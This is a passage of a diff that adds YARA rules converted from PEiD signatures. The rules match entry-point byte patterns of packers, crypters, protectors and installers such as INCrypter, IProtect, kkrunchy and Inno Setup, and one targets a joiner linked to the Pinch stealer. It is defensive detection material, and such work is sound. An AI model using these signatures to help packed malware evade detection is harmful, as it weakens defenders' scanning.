+rule PEiD_00914_INCrypter_0_3__INinY____by_z3e_NiFe_
+{
+    meta:
+        description = "[INCrypter 0.3 (INinY) - by z3e_NiFe]"
+        ep_only = "false"
+    strings:
+        $a = {60 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8D 58 20 C7 03 00 00 00 00 E8 00 00 00 00 5D 81 ED 4D 16 40 00 8B 9D 0E 17 40 00 64 A1 18 00 00 00 8B 40 30 0F B6 40 02 83 F8 01 75 05 03 DB C1 CB 10 8B 8D 12 17 40 00 8B B5 06 17 40 00 51 81 3E 2E 72 73 72 74 65 8B 85 16 17 40 00 E8 23 00 00 00 8B 85 1A 17 40 00 E8 18 00 00 00 8B 85 1E 17 40 00 E8 0D 00 00 00 8B 85 22 17 40 00 E8 02 00 00 00 EB 18 8B D6 3B 46 0C 72 0A 83 F9 01 74 0B 3B 46 34 72 06 BA 00 00 00 00 C3 58 83 FA 00 75 1A 8B 4E 10 8B 7E 0C 03 BD 02 17 40 00 83 F9 00 74 09 F6 17 31 0F 31 1F 47 E2 F7 59 83 C6 28 49 83 F9 00 75 88 8B 85 0A 17 40 00 89 44 24 1C 61 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00915_Inno_Installer_v5_1_2_
+{
+    meta:
+        description = "[Inno Installer v5.1.2]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_00916_Inno_Setup_Module_v1_09a_
+{
+    meta:
+        description = "[Inno Setup Module v1.09a]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00917_Inno_Setup_Module_v1_2_9_
+{
+    meta:
+        description = "[Inno Setup Module v1.2.9]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00918_Inno_Setup_Module_v2_0_18_
+{
+    meta:
+        description = "[Inno Setup Module v2.0.18]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00919_Inno_Setup_Module_v3_0_4_beta_v3_0_6_v3_0_7_
+{
+    meta:
+        description = "[Inno Setup Module v3.0.4-beta/v3.0.6/v3.0.7]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+    condition:
+        $a
+}
+
+rule PEiD_00920_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+    condition:
+        $a
+}
+
+rule PEiD_00921_Inno_Setup_Module_
+{
+    meta:
+        description = "[Inno Setup Module]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00922_Install_Stub_32_bit_
+{
+    meta:
+        description = "[Install Stub 32-bit]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29}
+    condition:
+        $a
+}
+rule PEiD_00923_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+    condition:
+        $a
+}
+
+rule PEiD_00924_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+    condition:
+        $a
+}
+
+rule PEiD_00925_InstallAnywhere_6_1____Zero_G_Software_Inc_
+{
+    meta:
+        description = "[InstallAnywhere 6.1 -> Zero G Software Inc]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00926_Installer_VISE_Custom_
+{
+    meta:
+        description = "[Installer VISE Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00927_InstallShield_2000_
+{
+    meta:
+        description = "[InstallShield 2000]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_00928_InstallShield_3_x_Custom_
+{
+    meta:
+        description = "[InstallShield 3.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 00 A0 40 00 68 34 76 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 8C E3 40 00 A3 70 B1 40 00 33 C0 A0 71 B1 40 00 A3 7C B1 40 00 A1 70 B1}
+    condition:
+        $a
+}
+
+rule PEiD_00929_InstallShield_Custom_
+{
+    meta:
+        description = "[InstallShield Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00930_Interchange_Format_File__IFF___type_WVQA_
+{
+    meta:
+        description = "[Interchange Format File (IFF), type WVQA]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+    condition:
+        $a
+}
+
+rule PEiD_00931_Interplay_s_MVE_file_
+{
+    meta:
+        description = "[Interplay's MVE file]"
+        ep_only = "false"
+    strings:
+        $a = {49 6E 74 65 72 70 6C 61 79 20 4D 56 45 20 46 69 6C 65 1A 00 1A}
+    condition:
+        $a
+}
+
+rule PEiD_00932_Ionic_Wind_Software_
+{
+    meta:
+        description = "[Ionic Wind Software]"
+        ep_only = "true"
+    strings:
+        $a = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00933_iPB_Protect_0_1_3___0_1_7____forgot_
+{
+    meta:
+        description = "[iPB Protect 0.1.3 - 0.1.7 -> forgot]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00934_iPBProtect_0_1_3_
+{
+    meta:
+        description = "[iPBProtect 0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78}
+    condition:
+        $a
+}
+
+rule PEiD_00935_iPBProtect_v0_1_3_
+{
+    meta:
+        description = "[iPBProtect v0.1.3]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 FA 33 DB 89 5D F8 6A 02 EB 01 F8 58 5F 5E 5B 64 8B 25 00 00 00 00 64 8F 05 00 00 00 00 58 58 58 5D 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED 71 EB EB FA FF 83 C0 FC EB FF 70 ED 71 EB EB FA 0F 83 C0 F8 EB FF 70 ED 71 EB EB FA FF 83 C0 18 EB FF 70}
+    condition:
+        $a
+}
+
+rule PEiD_00936_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00937_IProtect_1_0__Fxlib_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (Fxlib.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 4C 69 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED 71 10 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 63 10 40 00 8D 85 3C 10 40 00 50 FF B5 63 10 40 00 E8 92 00 00 00 0B C0 74 13 89 85 5F 10 40 00 8D 85 49 10 40 00 50 FF 95 5F 10 40 00 8B 85 67 10 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 53 10 40 00 89 20 89 68 04 8D 9D 0A 11 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 FA FD FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00938_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00939_IProtect_1_0__FxSub_dll_mode____by_FuXdas_
+{
+    meta:
+        description = "[IProtect 1.0 (FxSub.dll mode) - by FuXdas]"
+        ep_only = "true"
+    strings:
+        $a = {EB 33 2E 46 55 58 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 46 78 53 75 62 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 60 E8 00 00 00 00 5D 81 ED B6 13 40 00 FF 74 24 20 E8 40 00 00 00 0B C0 74 2F 89 85 A8 13 40 00 8D 85 81 13 40 00 50 FF B5 A8 13 40 00 E8 92 00 00 00 0B C0 74 13 89 85 A4 13 40 00 8D 85 8E 13 40 00 50 FF 95 A4 13 40 00 8B 85 AC 13 40 00 89 44 24 1C 61 FF E0 8B 7C 24 04 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 81 E7 00 00 FF FF 66 81 3F 4D 5A 75 0F 8B F7 03 76 3C 81 3E 50 45 00 00 75 02 EB 17 81 EF 00 00 01 00 81 FF 00 00 00 70 73 07 BF 00 00 F7 BF EB 02 EB D3 97 64 8F 05 00 00 00 00 83 C4 04 C2 04 00 8D 85 00 10 40 00 50 64 FF 35 00 00 00 00 8D 85 98 13 40 00 89 20 89 68 04 8D 9D 4F 14 40 00 89 58 08 64 89 25 00 00 00 00 8B 74 24 0C 66 81 3E 4D 5A 74 05 E9 8A 00 00 00 03 76 3C 81 3E 50 45 00 00 74 02 EB 7D 8B 7C 24 10 B9 96 00 00 00 32 C0 F2 AE 8B CF 2B 4C 24 10 8B 56 78 03 54 24 0C 8B 5A 20 03 5C 24 0C 33 C0 8B 3B 03 7C 24 0C 8B 74 24 10 51 F3 A6 75 05 83 C4 04 EB 0A 59 83 C3 04 40 3B 42 18 75 E2 3B 42 18 75 02 EB 35 8B 72 24 03 74 24 0C 52 BB 02 00 00 00 33 D2 F7 E3 5A 03 C6 33 C9 66 8B 08 8B 7A 1C 33 D2 BB 04 00 00 00 8B C1 F7 E3 03 44 24 0C 03 C7 8B 00 03 44 24 0C EB 02 33 C0 64 8F 05 00 00 00 00 83 C4 04 C2 08 00 E8 B5 FA FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00940_JAM_v2_11_
+{
+    meta:
+        description = "[JAM v2.11]"
+        ep_only = "true"
+    strings:
+        $a = {50 06 16 07 BE ?? ?? 8B FE B9 ?? ?? FD FA F3 2E A5 FB 06 BD ?? ?? 55 CB}
+    condition:
+        $a
+}
+
+rule PEiD_00941_JAR_Archive_
+{
+    meta:
+        description = "[JAR Archive]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1A 4A 61 72 1B}
+    condition:
+        $a
+}
+
+rule PEiD_00942_JDPack_2_x____JDPack_
+{
+    meta:
+        description = "[JDPack 2.x -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00943_JDPack_V2_00____JDPack_
+{
+    meta:
+        description = "[JDPack V2.00 -> JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 ?? ?? ?? E8 01 00 00 00 ?? ?? ?? ?? ?? ?? 05 00 00 00 00 83 C4 0C 5D 60 E8 00 00 00 00 5D 8B D5 64 FF 35 00 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00944_JDPack_
+{
+    meta:
+        description = "[JDPack]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45}
+    condition:
+        $a
+}
+
+rule PEiD_00945_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+    condition:
+        $a
+}
+
+rule PEiD_00946_JExeCompressor_1_0___by_Arash_Veyskarami_
+{
+    meta:
+        description = "[JExeCompressor 1.0 - by Arash Veyskarami]"
+        ep_only = "true"
+    strings:
+        $a = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+    condition:
+        $a
+}
+
+rule PEiD_00947_JExeCompressor_V1_0____UsAr_
+{
+    meta:
+        description = "[JExeCompressor V1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00948_Joiner__sign_from_pinch_25_03_2007_20_10__
+{
+    meta:
+        description = "[Joiner (sign from pinch 25.03.2007 20:10)]"
+        ep_only = "true"
+    strings:
+        $a = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+    condition:
+        $a
+}
+
+rule PEiD_00949_KBys_Packer_0_28_Beta____Shoooo_
+{
+    meta:
+        description = "[KBys Packer 0.28 Beta -> Shoooo]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5E 83 EE 0A 8B 06 03 C2 8B 08 89 4E F3 83 EE 0F 56 52 8B F0 AD AD 03 C2 8B D8 6A 04 BF 00 10 00 00 57 57 6A 00 FF 53 08 5A 59 BD 00 80 00 00 55 6A 00 50 51 52 50 89 06 AD AD 03 C2 50 AD 03 C2 FF D0 6A 04 57 AD 50 6A 00 FF 53}
+    condition:
+        $a
+}
+
+rule PEiD_00950_Kbys_Packer_0_28_Beta___shoooo314_
+{
+    meta:
+        description = "[Kbys Packer 0.28 Beta-> shoooo314]"
+        ep_only = "false"
+    strings:
+        $a = {68 85 AE 01 01 E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00951_KByS_V0_28____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+    condition:
+        $a
+}
+
+rule PEiD_00952_KByS_V0_28_DLL____shoooo___Sign_by_fly_
+{
+    meta:
+        description = "[KByS V0.28 DLL -> shoooo ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00953_KGB_SFX_
+{
+    meta:
+        description = "[KGB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a
+}
+
+rule PEiD_00954_KGCrypt_vx_x_
+{
+    meta:
+        description = "[KGCrypt vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+
+rule PEiD_00955_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+    condition:
+        $a
+}
+
+rule PEiD_00956_kkrunchy____Ryd_
+{
+    meta:
+        description = "[kkrunchy -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00957_kkrunchy_0_23_alpha____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 ?? 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 ?? 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 ?? 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 ?? 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 ?? 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 ?? 56 55 FF 53 04 AB 85 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00958_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+    condition:
+        $a
+}
+rule PEiD_00959_kkrunchy_0_23_alpha_2____Ryd_
+{
+    meta:
+        description = "[kkrunchy 0.23 alpha 2 -> Ryd]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00960_kkrunchy_v0_17____F__Giesen_
+{
+    meta:
+        description = "[kkrunchy v0.17 -> F. Giesen]"
+        ep_only = "false"
+    strings:
+        $a = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+    condition:
+        $a
+}
+
+rule PEiD_00961_kkrunchy_V0_2X____Ryd___Sign_by_fly_
+{
+    meta:
+        description = "[kkrunchy V0.2X -> Ryd ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {BD ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? ?? 57 BE ?? ?? ?? ?? 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6}
+    condition:
+        $a
+}
+
+rule PEiD_00962_Krypton_v0_2_
+{
+    meta:
+        description = "[Krypton v0.2]"
+        ep_only = "true"
+    strings:
+        $a = {8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04}
+    condition:
+        $a
+}
+
+rule PEiD_00963_Krypton_v0_3_
+{
+    meta:
+        description = "[Krypton v0.3]"
+        ep_only = "true"
